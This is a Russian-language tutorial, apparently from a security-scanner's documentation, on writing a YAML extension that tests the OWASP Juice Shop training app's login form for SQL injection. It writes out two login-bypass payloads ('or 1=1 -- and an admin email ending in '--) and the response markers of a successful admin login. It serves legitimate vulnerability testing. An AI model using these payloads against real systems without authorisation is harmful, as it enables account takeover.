Создание модифицирующего расширения

Расширение, которое описано в этом документе, будет модифицировать поступивший базовый запрос, чтобы включить в него несколько полезных нагрузок, которые могут вызвать срабатывание SQLi-уязвимости в форме логина целевого приложения OWASP Juice Shop.

Подготовка

Перед созданием расширения рекомендуется изучить:

  1. Логику работы приложения, для которого создается расширение.
  2. Принципы конструирования point'ов для расширения.

Конструирование расширения

Создайте YAML-файл, описывающий расширение, например, mod-extension.yaml, и наполните его требуемыми секциями:

  1. Секция meta-info.

    Подготовьте описание уязвимости, которую позволяет обнаружить расширение:

    • заголовок для уязвимости: OWASP Juice Shop SQLi (mod extension);
    • описание уязвимости: Demo of SQLi in OWASP Juice Shop (Admin Login);
    • тип уязвимости: SQL-инъекция;
    • уровень опасности уязвимости: высокий.

    Соответствующая секция meta-info будет иметь следующий вид:

    meta-info:
      - type: sqli
      - threat: 80
      - title: 'OWASP Juice Shop SQLi (mod extension)'
      - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
    
  2. Секция collect, фаза Collect.

    Напомним, что при попытке аутентификации через форму логина на сайте, выполняется запрос к REST API приложения: POST /rest/user/login.

    Нет необходимости выполнять создание тестов на основе каждого базового запроса для логина, поступившего к API приложения, так как тестирование на уязвимости будет проходить одинаково вне зависимости от данных, переданных в POST-запросе.

    Настройте расширение так, чтобы оно выполнялось один раз при запросе для логина к API. Для этого необходимо добавить в расширение фазу Collect с условием уникальности.

    Запрос логина к API /rest/user/login состоит из следующих элементов:

    1. Первая часть пути со значением rest.
    2. Вторая часть пути со значением user.
    3. Action-метод login.

    Соответствующие point'ы, указывающие на эти значения:

    1. PATH_0_value для первой части пути;
    2. PATH_1_value для второй части пути;
    3. ACTION_NAME_value для action-метода login.

    Если потребовать, чтобы комбинация значений всех трех элементов была уникальной, то расширение будет выполнено только для первого базового запроса логина к API /rest/user/login (такой запрос будет считаться уникальным, все последующие запросы логина к API не будут уникальными).

    Добавьте в расширение соответствующую секцию collect:

    collect:
      - uniq:
        - [PATH_0_value, PATH_1_value, ACTION_NAME_value]
    
  3. Секция match, фаза Match.

    Необходимо проверить, что поступивший в расширение базовый запрос действительно является запросом на логин к API, поскольку создаваемое расширение будет эксплуатировать уязвимости, направленные именно на форму логина.

    Настройте расширение так, чтобы оно выполнялось только для следующего URI: /rest/user/login. Добавьте в расширение секцию match, которая проверяет поступивший в расширение запрос на наличие требуемых элементов:

    match:
      - PATH_0_value: 'rest'
      - PATH_1_value: 'user'
      - ACTION_NAME_value: 'login'
    
  4. Секция modify, фаза Modify.

    Предположим, что необходимо модифицировать исходный базовый запрос, чтобы достичь следующих целей:

    • очистить значение HTTP-заголовка Accept-Language (значение не важно для определения факта наличия уязвимости);
    • заменить исходные значения параметров email и password нейтральными значениями dummy.

    Добавьте в расширение секцию modify, которая изменяет запрос в соответствии с описанными выше требованиями:

    modify:
      - "HEADER_ACCEPT-LANGUAGE_value": ""
      - "POST_JSON_DOC_HASH_email_value": "dummy"
      - "POST_JSON_DOC_HASH_password_value": "dummy"
    

    Синтаксис описания элементов запроса

    Поскольку данные запроса представлены в запросе в формате JSON в виде пар <ключ:значение>, то point, который указывает на значение элемента запроса email, будет выглядеть так, как показано выше. Point, указывающий на значение элемента запроса password, имеет аналогичную структуру.

    Более подробная информация о принципах конструирования point'ов доступна здесь.

  5. Секция generate, фаза Generate.

    Известно, что есть две полезные нагрузки, которыми необходимо заменить значение в параметре email базового запроса, чтобы провести эксплуатацию SQL-инъекции:

    • 'or 1=1 --
    • admin@juice-sh.op'--

    Вставка полезной нагрузки в модифицированный запрос

    Полезная нагрузка (payload) будет вставляться в ранее модифицированный запрос, так как в расширении присутствует фаза Modify. Таким образом, при вставке первой полезной нагрузки в поле email, данные тестового запроса будут выглядеть следующим образом:

      {
          "email": "'or 1=1 --",
          "password":"dummy"
      }
    

    Поскольку при выбранных полезных нагрузках можно использовать любой пароль для успешного логина, можно не применять полезную нагрузку к полю с паролем, значение которого после применения фазы Modify будет dummy.

    Добавьте в расширение секцию generate, которая создаст тестовые запросы в соответствии с описанными выше соображениями:

    generate:
      - payload:
        - "'or 1=1 --"
        - "admin@juice-sh.op'--"
      - into: "POST_JSON_DOC_HASH_email_value"
      - method:
        - replace
    
  6. Секция detect, фаза Detect.

    Индикаторами успешной аутентификации пользователя с административными правами служат:

    • наличие в теле ответа параметра «идентификатор корзины» со значением 1. Параметр в ответе представлен в виде JSON следующим образом:
    "bid":1
    
    • наличие в теле ответа параметра «e-mail пользователя» со значением admin@juice-sh.op. Параметр в ответе представлен в виде JSON следующим образом:
     "umail":"admin@juice-sh.op"
    

    Добавьте в расширение секцию detect, которая проверяет факт успешности атаки в соответствии с описанными выше соображениями:

    detect:
      - response:
        - body: "\"umail\":\"admin@juice-sh.op\""
        - body: "\"bid\":1"
    

Экранирование спецсимволов

Не забывайте экранировать спецсимволы в строках.

Файл с расширением

Файл mod-extension.yaml, приведенный ниже, содержит итоговое расширение со всеми необходимыми секциями.

mod-extension.yaml
meta-info:
  - type: sqli
  - threat: 80
  - title: 'OWASP Juice Shop SQLi (mod extension)'
  - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'

collect:
  - uniq:
    - [PATH_0_value, PATH_1_value, ACTION_NAME_value]

match:
  - PATH_0_value: 'rest'
  - PATH_1_value: 'user'
  - ACTION_NAME_value: 'login'

modify:
  - "HEADER_ACCEPT-LANGUAGE_value": ""
  - "POST_JSON_DOC_HASH_email_value": "dummy"
  - "POST_JSON_DOC_HASH_password_value": "dummy"

generate:
  - payload:
    - "'or 1=1 --"
    - "admin@juice-sh.op'--"
  - into: "POST_JSON_DOC_HASH_email_value"
  - method:
    - replace

detect:
  - response:
    - body: "\"umail\":\"admin@juice-sh.op\""
    - body: "\"bid\":1"

Использование расширения

Информация о том, как использовать созданное расширение FAST, расположена здесь.

results matching ""

    No results matching ""